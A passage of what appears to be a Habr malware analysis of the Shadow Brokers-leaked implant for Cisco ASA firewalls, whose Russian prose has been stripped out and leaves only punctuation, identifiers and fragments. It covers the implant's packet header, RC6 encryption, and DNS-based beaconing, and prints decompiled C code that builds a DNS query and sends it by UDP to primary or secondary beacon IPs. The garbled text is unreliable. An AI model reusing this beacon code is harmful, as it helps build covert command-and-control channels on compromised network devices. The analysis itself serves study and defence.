padLength , , 8 . , , RC6, 16 (8 salt + 16 header = 24 , 32 ).
pkt_ID .
benign_payload_length payload .
sequenceNumber , 512 .
ackNumber , .
cf_crc , , , UDP - Benign -.
, BenignPacket2.salt , RC6. PBD_Header.default_key1 . cv , 16- SHA-1 , , . salt defauly_key1 TSC .
, , , , IP- , , , "" Beacon -.
, IP- , Beacon - DNS - A ( address record ), www.subdomain.domain.com
. domain β , , , , subdomain β .
, , Cobalt Strike "" .
DNS :
// `bin/asa5505/SCP28/asa5505_patch60000.bin` offset 0x9670 // ... memcpy(subdomain, _subdomin, 16); dns_packet->query.www_sz = 3; memcpy(dns_packet->query.www, aWww, 3); dns_packet->query.subdomain_sz = 0x11; dns_packet->query.subdomain[0] = 0x41; memcpy(&dns_packet->query.subdomain[1], subdomain, 16); dns_packet->query.domain_sz = _sizeof_pbd_domain; memcpy(dns_packet->query.domain, _5400->domain_name, _sizeof_pbd_domain); com = &dns_packet->query.domain[_sizeof_pbd_domain]; com->com_sz = 3; // sizeof("com") without trailing \x00 memcpy(com->com, aCom, 4); com->qtype = rol_16_8(1); // Type A query (host address) qclass = rol_16_8(1); ip_selector = (_5400->beacon_num & 1) == 0; com->qclass = qclass; // Class IN query (Internet address) if ( ip_selector ) daddr = _5400->beacon_secondary_IP; else daddr = _5400->beacon_primary_IP; // unsigned __int32 __usercall udp_send@<eax>(int a1@<eax>, int buf@<edx>, unsigned __int16 len@<cx>, unsigned int a4, __int16 sport, __int16 dport, unsigned int daddr) udp_send(_5400, _5400->_send_buf, com + 9 - dns_packet, _5400->_const_FFFFFFFF, sport, 53, daddr); // ...
DNS - Beacon - IP- IP- , subdomain .
, , Beacon - DNS -, , , 400 .
Beacon - DNS -: PBD_Header.primary_beacon_IP , β PBD_Header.secondary_beacon_IP .
, Beacon - , . "" DNS -, , , , .
, Beacon - DNS -.
, :
www.[dev_id?][implant_id_enc][some_obf].[domain].com
,
DNS - bin/asa5505/SCP28/asa5505_patch60000.bin 0x9670 .
, . , :
?
, , , , ? , : , , Β« Β» - ..
verify , , , , . β .
, , , JETPLOW .
How to be?
, , . , β , β , .
, ASA , JP/SCP. , .
SecureBoot Trust Anchor?
The Shadow Brokers , :
Source: https://habr.com/ru/post/309560/